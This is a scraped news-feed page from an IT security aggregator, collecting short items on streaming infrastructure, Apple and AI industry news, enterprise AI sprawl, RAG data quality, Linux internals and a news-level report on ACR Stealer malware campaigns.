The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.

Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.

The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.

For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.

The demands ahead are bigger

AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to 80% faster than traditional methods. 

All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.

Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. 

Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. 

Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.

Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.

Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.

The technology you never think about

The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.

This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.

The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.

Delivering that level of reliability is why many of the world’s largest sports brands rely on Tata Communications. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.

By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.

Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.

To learn more, visit us here.

]]> <![CDATA[Sophos Trusted Code]]> https://tsecurity.de/de/3681392/it-security-nachrichten/sophos-trusted-code/ https://tsecurity.de/de/3681392/it-security-nachrichten/sophos-trusted-code/ Mon, 20 Jul 2026 16:24:51 +0200 📰 IT Security Nachrichten tsecurity.de Recent CVEs across GitHub, Anthropic, Google, dbt, and MISP expose a simple truth: the most trusted code is often the least questioned. As organizations connect AI agents to production systems, those overlooked assumptions can become powerful new attack paths.

Categories: Products & Services, Security Operations

Tags: AI, MDR, Sophos MDR, Vulnerabilities

]]> <![CDATA[⚡ Weekly Recap: WordPress RCE, SonicWall 0-Days, AI Service Attacks, SharePoint 0-Day and More]]> https://tsecurity.de/de/3681388/it-security-nachrichten/weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/ https://tsecurity.de/de/3681388/it-security-nachrichten/weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/ Mon, 20 Jul 2026 16:24:45 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[⚡ Weekly Recap: WordPress RCE, SonicWall 0-Days, AI Service Attacks, SharePoint 0-Day and More]]> https://tsecurity.de/de/3681379/it-security-nachrichten/weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/ https://tsecurity.de/de/3681379/it-security-nachrichten/weekly-recap-wordpress-rce-sonicwall-0-days-ai-service-attacks-sharepoint-0-day-and-more/ Mon, 20 Jul 2026 16:24:33 +0200 📰 IT Security Nachrichten tsecurity.de A single request should not be able to do this much. But this week, small inputs led to code execution, memory loss, stolen keys, and disabled security tools. The paths were often simple: exposed systems, weak checks, old drivers, fake


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]]> <![CDATA[Trump administration reportedly builds a slow-motion ban on Chinese AI models through sanctions and soft pressure]]> https://tsecurity.de/de/3681366/ai-nachrichten/trump-administration-reportedly-builds-a-slow-motion-ban-on-chinese-ai-models-through-sanctions-and-soft-pressure/ https://tsecurity.de/de/3681366/ai-nachrichten/trump-administration-reportedly-builds-a-slow-motion-ban-on-chinese-ai-models-through-sanctions-and-soft-pressure/ Mon, 20 Jul 2026 16:19:35 +0200 🔧 AI Nachrichten tsecurity.de

The Trump administration is reportedly weighing measures targeting Chinese AI models, from adding Chinese labs to sanctions lists to holding U.S. companies liable for security failures. Rather than impose an outright ban, Washington could use soft rules to deter adoption while protecting the market positions of OpenAI, Google, and Anthropic.

The article Trump administration reportedly builds a slow-motion ban on Chinese AI models through sanctions and soft pressure appeared first on The Decoder.

]]> <![CDATA[Apple could ‘run the table’ on AI if it does things right]]> https://tsecurity.de/de/3681267/it-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/ https://tsecurity.de/de/3681267/it-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/ Mon, 20 Jul 2026 15:33:26 +0200 📰 IT Nachrichten tsecurity.de

Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.

Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.

Apple also offers limited capacity for more complex tasks through Private Cloud Compute, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. 

Deeply deployable

Critics can say it took Apple a long time to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party doesn’t mean you won’t shine once you get there.

Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for Edge AI use cases, on device — no cloud service required.

The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that future M7 Ultra Macs will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. 

While that does assume the AI-flationary memory market can supply that much RAM at prices humans can afford, it is also true that people are already running AI clusters using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe this will continue to be the case, and that it will even broaden as the power/performance offered at the high end grows.

What’s wrong with good enough?

When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for private AI services and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support OpenClaw instances shows they already are.

Ultimately, these different slices of momentum mean I agree with investor Jason Calacanis that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. 

It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run PrismML’s 1-bit, 27-billion parameter Bonsai on an iPad using the Locally app, and that’s in the here and now.

What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they have on their existing device or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models will erode. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all.

“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.

Who has the most to lose?

The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.

These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.

Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)

Cupertino rising

What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes.

You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.

]]> <![CDATA[AI’s problems aren’t what you think]]> https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/ https://tsecurity.de/de/3681198/it-security-nachrichten/ais-problems-arent-what-you-think/ Mon, 20 Jul 2026 15:08:44 +0200 📰 IT Security Nachrichten tsecurity.de

The biggest and loudest prediction about AI is that it will eliminate millions of jobs. It is dramatic and easy to repeat. But from what I’ve seen, inside most enterprises the more immediate problem has turned out to be something else entirely: a growing mass of tools, agents, models and usage costs spreading faster than most organizations can govern or connect to real business value, also known as AI sprawl.

None of that invalidates the initial fear. Indeed, AI can clear backlogs, speed up analysis, draft usable content and reduce time spent on repetitive work. In my opinion, what goes wrong is the assumption that those gains will scale seamlessly, and that more AI will automatically produce more value.

What really matters is not only how much AI a company can deploy, but whether its use fits inside a growth strategy, an operating model and an organization that can use it well.

The early results of AI use made the logical progression feel obvious, even a foregone conclusion. If it could already improve output in narrow use cases, then broader deployment should produce broader gains. Simple! Better models were expected to deliver better results. More agents were expected to drive more automation. For many companies, this logic held for long enough to encourage overexpansion.

But this logic has started to break down as usage continues to scale. I’ve seen returns diminish much quicker than expected. To illustrate, one industry analysis found that developers who used AI most heavily produced about twice the output of moderate users, but consumed roughly ten times the compute.  

At a certain point, more AI does not create proportionally more value – it simply becomes more expensive. But where, exactly?

From experimentation to sprawl

Experimentation played a key role in this downturn, but it’s not the culprit. As AI continues to sprawl, the problem continues that AI is spreading faster than most companies can coordinate. Teams often solve the same problem in parallel, paying for overlapping capabilities and layering new tools atop existing ones without any clear inventory of what ‘s already in place. What can appear as momentum is really turning into redundancy.

I’ve seen versions of this play out repeatedly. At one financial firm, several business units were pursuing AI projects aimed at automating research and reporting. Each team moved independently; selecting their own tools, building their own workflows and creating separate data pipelines, with little to no coordination between teams. In some cases, different groups were developing nearly identical capabilities without realizing it, solving the same problems twice without any shared visibility into each other’s work.

Individually, the projects showed real promise. Collectively, the projects created duplication, fragmented data and inconsistent standards business and enterprise wide.

By the time leadership stepped back to assess, the company found itself paying for overlapping capabilities, maintaining multiple versions of the same underlying data, and struggling to determine which solutions were actually delivering value versus which were simply consuming budget and eating at engineering time.

Perhaps most troubling: nobody at the enterprise level had a complete view of what was being built, by whom or why. What began as healthy, well-intentioned experimentation had, without anyone deciding it should, evolved into full-blown AI sprawl, creating a patchwork of disconnected initiatives that was difficult to govern, harder to secure and far more expensive than a coordinated approach could and should be.

Early wins encourage a still wider rollout, but many organizations expand usage before they put real controls in place. Experimentation becomes sprawl. Budgets grow quickly, and few leaders have a reliable view of who is using what or why.

AI strategy cannot sit beside growth strategy

This is where I see many companies still get the issue wrong. They treat AI and growth strategy as two separate efforts, then wonder how adoption gets so messy. A business cannot drop AI into its operations and expect momentum to take over. The technology has to support a clear path to growth, whether that means improving margin, speed, service, capacity or decision-making. At the same time, growth plans cannot assume AI changes nothing about delivery, design or operating leverage. The real challenge is in ensuring the two work together.

Personally, I’ve seen better results when AI initiatives are tied to a specific business objective from the beginning, rather than launched as broad, abstract or transformative effort. One mattress retailer I’ve worked with took this approach, starting with a single, focused and well-defined use case rather than trying to transform or overhaul the entire organization at once. The company introduced an AI-powered training platform for store associates, giving employees a low-pressure way to practice sales conversations and product recommendations before applying them to external situations with customers on the floor.

Because employees experienced immediate and tangible value from the tool, adoption spread quickly across locations, with minimal need for top-down mandates. Early, visible success helped to build internal credibility and generate momentum, which leadership then leveraged to expand into more complex AI initiatives across areas such as inventory management, demand forecasting and replenishment planning.

Ultimately, the technology succeeded not because it was innovative for its own sake, but because it was connected to a larger growth strategy: improving sales effectiveness on the floor, driving operational efficiency behind the scenes and strengthening workforce capability at entry level. A major lesson we walked away with here was that starting small and specific, with a clear throughline to business value creates a strong foundation for sustainable and scalable AI use.

What implementation actually takes

All this takes more than a few easy guardrails. It takes strategy. Leaders need a real inventory of the tools, agents and assistants already in use across the business, who owns them, what data they can access and everything that they support.

They also need financial controls that match the economics of token-based usage, including role-based access, thresholds and review processes that make spend visible before it becomes a surprise. Similarly, they need metrics that go beyond mere activity. More prompts do not mean more value. If a deployment cannot be tied to throughput, margin, quality, cycle time or another tangible result, it is still unfinished.

This is also why blunt shutdowns rarely work. If leaders clamp down too hard, employees often move to unsanctioned tools and create a larger shadow AI problem, or the unauthorized use of artificial intelligence tools, models or chatbots by employees, without the knowledge or approval of IT and security teams, with even less visibility and more risk. The better answer is disciplined adoption: clear ownership, rules, metrics and enough flexibility for teams to use AI where it works.

That matters for the people as much as it does for the budget. Those that modernize well end up with better work – not just less of it.

The story of the moment isn’t about AI replacing people – or even AI in general. It’s about whether companies know their own businesses well enough to keep incorporating powerful new tools without mistaking activity for progress. As technological capabilities continue to appear, the winners will be the organizations that understand where it belongs, what it can improve and how to turn each new wave into something permanent.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[New ACR Stealer campaigns use WebDAV, MSHTA to evade detection]]> https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/ https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/ Mon, 20 Jul 2026 14:38:47 +0200 📰 IT Security Nachrichten tsecurity.de

Microsoft has issued a warning about a recent surge in ACR Stealer activity that uses ClickFix-style social engineering to steal credentials, browser data, and sensitive business documents.

In a new report, Microsoft researchers detailed two separate campaigns observed between late April and mid-June 2026 that use different execution techniques for the same theft.

The campaign was seen tricking users into executing malicious commands to resolve a fake issue. Once the malware is executed, it extracts browser-stored credentials, session tokens, and documents, which can potentially allow attackers to access cloud services, impersonate users, and conduct follow-on intrusions across enterprise environments.

Nick Tausek, lead security automation architect at Swimlane, thinks attackers could be using two distinct chains to trick defense tuned on individual indicators.  “By changing the delivery and execution patterns, attackers can evade defenses tuned to one known chain and make related incidents appear disconnected,“ he said. “Security teams may split the activity across separate investigations, delaying recognition of the shared malware and objective.”

ACR Stealer is an information-stealing malware family Microsoft believes is offered through a malware-as-a-service (MaaS) model, with possible links to the Amatera Stealer.

WebDAV and MSHTA-based chains

Although both campaigns begin with ClickFix lures, Microsoft’s analysis shows they diverge after initial execution. One attack chain uses WebDAV-hosted DLLs, PowerShell, Python loaders, scheduled-task persistence, and even blockchain-based infrastructure called the “EtherHiding” technique, to complicate detection and command and control (C2) discovery.

The second chain uses MSHTA, heavily obfuscated PowerShell, stenography, and predominantly fileless, in-memory execution to minimize forensic trails.

“The most troubling part of ACR Stealer is the flexibility surrounding the theft. One chain invests in persistence and layered infrastructure, while the other favors memory execution and fewer forensic traces,” Tausek said. “Those approaches look different to defenders, yet both turn a simple ClickFix lure into stolen credentials, tokens, and business documents.”

Microsoft researchers said protections against these campaigns have now been added to Defender. “Microsoft Defender for Endpoint can help surface both campaigns through behavioral coverage for living-off-the-land execution, suspicious WebDAV and MSHTA activity, obfuscated PowerShell, scheduled-task persistence, in-memory payload execution, and browser credential theft,” they said.

Mitigations include ClickFix-targeted detections

The report highlighted that neither of the campaigns exploits any software vulnerability, depending solely on ClickFix-based social engineering.

Microsoft warned its Defender customers that ClickFix attacks are on the rise and shared XDR queries to identify suspicious commands executed through ClickFix-based activity observed while delivering the ACR Stealer.

Microsoft also recommended, as general defense, monitoring for suspicious PowerShell activity, MSHTA execution, WebDAV connections, and attempts to access browser credential stores, while also enabling Microsoft Defender SmartScreen and Attack Surface Reduction (ASR) rules to block common malware delivery techniques.

“The campaigns do not need to directly aid one another to be effective. Together, they create ambiguity and stretch limited SOC resources,” Tausek explained. Security teams need enough visibility to correlate endpoint, identity, and network activity as one evolving intrusion, he added.

Microsoft also shared a list of C2 addresses and payload hosting domains for defenders to add to their detection.

]]> <![CDATA[Faugus Launcher 2.0 rolls out with a new UI and many other enhancements]]> https://tsecurity.de/de/3680766/linux-tipps/faugus-launcher-20-rolls-out-with-a-new-ui-and-many-other-enhancements/ https://tsecurity.de/de/3680766/linux-tipps/faugus-launcher-20-rolls-out-with-a-new-ui-and-many-other-enhancements/ Mon, 20 Jul 2026 11:55:48 +0200 🐧 Linux Tipps tsecurity.de

Read the full article on GamingOnLinux.

]]> <![CDATA[GoldenEyeDog Hackers Group Behind DigiCert Breach that Hijacks Code-Signing Certificates]]> https://tsecurity.de/de/3680569/it-security-nachrichten/goldeneyedog-hackers-group-behind-digicert-breach-that-hijacks-code-signing-certificates/ https://tsecurity.de/de/3680569/it-security-nachrichten/goldeneyedog-hackers-group-behind-digicert-breach-that-hijacks-code-signing-certificates/ Mon, 20 Jul 2026 10:24:15 +0200 📰 IT Security Nachrichten tsecurity.de GoldenEyeDog, a Chinese cybercrime group linked to the Golden Gh0st malware family, is back in focus after an intrusion at DigiCert exposed the risks around code-signing certificates. The attackers used the access to intercept customer certificate activation codes and sign their own malicious files. The operation relied on a simple but effective route into a [
]

The post GoldenEyeDog Hackers Group Behind DigiCert Breach that Hijacks Code-Signing Certificates appeared first on Cyber Security News.

]]> <![CDATA[Rust Will Help Linux Succeed and Makes Coding Fun, Says Greg Kroah-Hartman]]> https://tsecurity.de/de/3680295/it-security-nachrichten/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/ https://tsecurity.de/de/3680295/it-security-nachrichten/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/ Mon, 20 Jul 2026 07:54:12 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Best Local LLMs You Can Run on a Single 24GB GPU in 2026: Qwen, Gemma, Mistral, DeepSeek Compared]]> https://tsecurity.de/de/3680206/ai-nachrichten/best-local-llms-you-can-run-on-a-single-24gb-gpu-in-2026-qwen-gemma-mistral-deepseek-compared/ https://tsecurity.de/de/3680206/ai-nachrichten/best-local-llms-you-can-run-on-a-single-24gb-gpu-in-2026-qwen-gemma-mistral-deepseek-compared/ Mon, 20 Jul 2026 03:33:53 +0200 🔧 AI Nachrichten tsecurity.de A single 24GB GPU is the practical floor for serious local inference. This guide compares six open-weight models that fit one card at Q4_K_M. It covers Qwen3.6, Gemma 4, Mistral Small, gpt-oss-20b, and DeepSeek-R1-Distill. Each entry lists VRAM fit, licensing, and the job it does best.

The post Best Local LLMs You Can Run on a Single 24GB GPU in 2026: Qwen, Gemma, Mistral, DeepSeek Compared appeared first on MarkTechPost.

]]> <![CDATA[Roku’s 55-Inch Mini-LED TV Drops to a Record-Low Amazon Price]]> https://tsecurity.de/de/3680132/ios-mac-os/rokus-55-inch-mini-led-tv-drops-to-a-record-low-amazon-price/ https://tsecurity.de/de/3680132/ios-mac-os/rokus-55-inch-mini-led-tv-drops-to-a-record-low-amazon-price/ Mon, 20 Jul 2026 01:39:25 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Migrating to OpenVox at CERN (voxconf2026)]]> https://tsecurity.de/de/3679973/it-security-video/migrating-to-openvox-at-cern-voxconf2026/ https://tsecurity.de/de/3679973/it-security-video/migrating-to-openvox-at-cern-voxconf2026/ Sun, 19 Jul 2026 22:46:53 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Migrating to OpenVox at CERN (voxconf2026)]]> https://tsecurity.de/de/3679966/it-security-video/migrating-to-openvox-at-cern-voxconf2026/ https://tsecurity.de/de/3679966/it-security-video/migrating-to-openvox-at-cern-voxconf2026/ Sun, 19 Jul 2026 22:32:54 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[The cleanup trap: Stop asking RAG to fix bad data]]> https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/ https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/ Sun, 19 Jul 2026 22:32:19 +0200 📰 IT Nachrichten tsecurity.de The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.

When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.

But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.

This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.

The mirage of the retrieval layer

In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.

It is not.

When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.

If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.

No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.

Shifting from ad-hoc patching to programmatic guardrails

To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.

This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.

1. Harden the ingestion pipeline

Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.

Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.

2. Use multi-tiered algorithmic validation

Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.

This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.

If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.

3. Decouple security and compliancemfrom the model

An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.

Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.

Technical alignment: A pragmatic blueprint

For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.

  • Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?

  • Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?

  • Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?

These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.

Building for the production era

The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.

If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.

The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.

In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.

Naveen Ayalla is a senior data engineer.

]]> <![CDATA[How fork() duplicates a process without copying its memory]]> https://tsecurity.de/de/3679945/linux-tipps/how-fork-duplicates-a-process-without-copying-its-memory/ https://tsecurity.de/de/3679945/linux-tipps/how-fork-duplicates-a-process-without-copying-its-memory/ Sun, 19 Jul 2026 22:24:23 +0200 🐧 Linux Tipps tsecurity.de

I made a visual explainer on how copy-on-write works in Linux.

When a 10 GB process calls fork(), Linux does not immediately copy 10 GB of memory. It duplicates the page tables, points both processes at the same physical pages, marks them read-only, and waits for the first write.

The video also covers things like page faults,exec(), Redis snapshots, Android Zygote, lazy zero pages, memory overcommit, COW storms, and some CVEs, etc

Link for anyone interested

Feedback welcome :)

submitted by /u/Ok_Marionberry8922
[link] [comments]]]> <![CDATA[CVE-2022-3734 | Redis on Windows dbghelp.dll uncontrolled search path (EUVD-2022-43090)]]> https://tsecurity.de/de/3679694/sicherheitsluecken/cve-2022-3734-redis-on-windows-dbghelpdll-uncontrolled-search-path-euvd-2022-43090/ https://tsecurity.de/de/3679694/sicherheitsluecken/cve-2022-3734-redis-on-windows-dbghelpdll-uncontrolled-search-path-euvd-2022-43090/ Sun, 19 Jul 2026 17:38:20 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Redis on Windows. It has been rated as critical. Impacted is an unknown function in the library C:/Program Files/Redis/dbghelp.dll. Performing a manipulation results in uncontrolled search path. This vulnerability is known as CVE-2022-3734. Remote exploitation of the attack is possible. Furthermore, an exploit is available. It is still unclear if this vulnerability genuinely exists. The official Redis release is not affected. This issue might affect an unofficial fork or port on Windows only.]]> <![CDATA[Apple probably won't add Jony Ive to OpenAI trade secret theft suit]]> https://tsecurity.de/de/3679663/ios-mac-os/apple-probably-wont-add-jony-ive-to-openai-trade-secret-theft-suit/ https://tsecurity.de/de/3679663/ios-mac-os/apple-probably-wont-add-jony-ive-to-openai-trade-secret-theft-suit/ Sun, 19 Jul 2026 17:08:02 +0200 🍏 iOS / Mac OS tsecurity.de Jony Ive left Apple, and joined OpenAI, yet he isn't named in the intellectual property theft suit. The reasons for that are myriad, ranging from the personal to practical.

Two men pose closely in black and white, one wearing glasses and leaning on the other's shoulder, both looking calmly at the camera against a simple background
Jony Ive & OpenAI's Sam Altman | Image Credit: OpenAI

On July 10, Apple launched what looks to become a major lawsuit against OpenAI, accusing ex-Apple employees of stealing intellectual property. However, despite former Apple design chief's links to OpenAI, he isn't in the crosshairs of Apple's lawyers.

In Sunday's "Power On" newsletter for Bloomberg, Mark Gurman writes about the lawsuit and the oddity. He believes there are two big reasons for Apple not to implicate Ive in the lawsuit at all.


Continue Reading on AppleInsider | Discuss on our Forums]]> <![CDATA[Former Richard Stallman Colleague Now Argues for Open AI Models Too]]> https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/ https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/ Sun, 19 Jul 2026 16:52:33 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Ich checke einmal im Monat eine Webseite, die mir viel Ärger erspart – ihr solltet es auch tun!]]> https://tsecurity.de/de/3679599/it-nachrichten/ich-checke-einmal-im-monat-eine-webseite-die-mir-viel-aerger-erspart-ihr-solltet-es-auch-tun/ https://tsecurity.de/de/3679599/it-nachrichten/ich-checke-einmal-im-monat-eine-webseite-die-mir-viel-aerger-erspart-ihr-solltet-es-auch-tun/ Sun, 19 Jul 2026 16:32:25 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Turning the EMFcamp 2018 badge into a radiotelescope (emf2026)]]> https://tsecurity.de/de/3679582/it-security-video/turning-the-emfcamp-2018-badge-into-a-radiotelescope-emf2026/ https://tsecurity.de/de/3679582/it-security-video/turning-the-emfcamp-2018-badge-into-a-radiotelescope-emf2026/ Sun, 19 Jul 2026 16:17:01 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[You Are Part Virus: How Biological Viruses Hack Cells (emf2026)]]> https://tsecurity.de/de/3679363/it-security-video/you-are-part-virus-how-biological-viruses-hack-cells-emf2026/ https://tsecurity.de/de/3679363/it-security-video/you-are-part-virus-how-biological-viruses-hack-cells-emf2026/ Sun, 19 Jul 2026 13:03:38 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Apple Raises iCloud+ Prices in Japan, Nigeria, TĂŒrkiye, and Other Countries]]> https://tsecurity.de/de/3679103/ios-mac-os/apple-raises-icloud-prices-in-japan-nigeria-tuerkiye-and-other-countries/ https://tsecurity.de/de/3679103/ios-mac-os/apple-raises-icloud-prices-in-japan-nigeria-tuerkiye-and-other-countries/ Sun, 19 Jul 2026 10:09:31 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[NextBSD Returns to Port Apple Source Onto FreeBSD]]> https://tsecurity.de/de/3678414/it-security-nachrichten/nextbsd-returns-to-port-apple-source-onto-freebsd/ https://tsecurity.de/de/3678414/it-security-nachrichten/nextbsd-returns-to-port-apple-source-onto-freebsd/ Sat, 18 Jul 2026 20:52:24 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

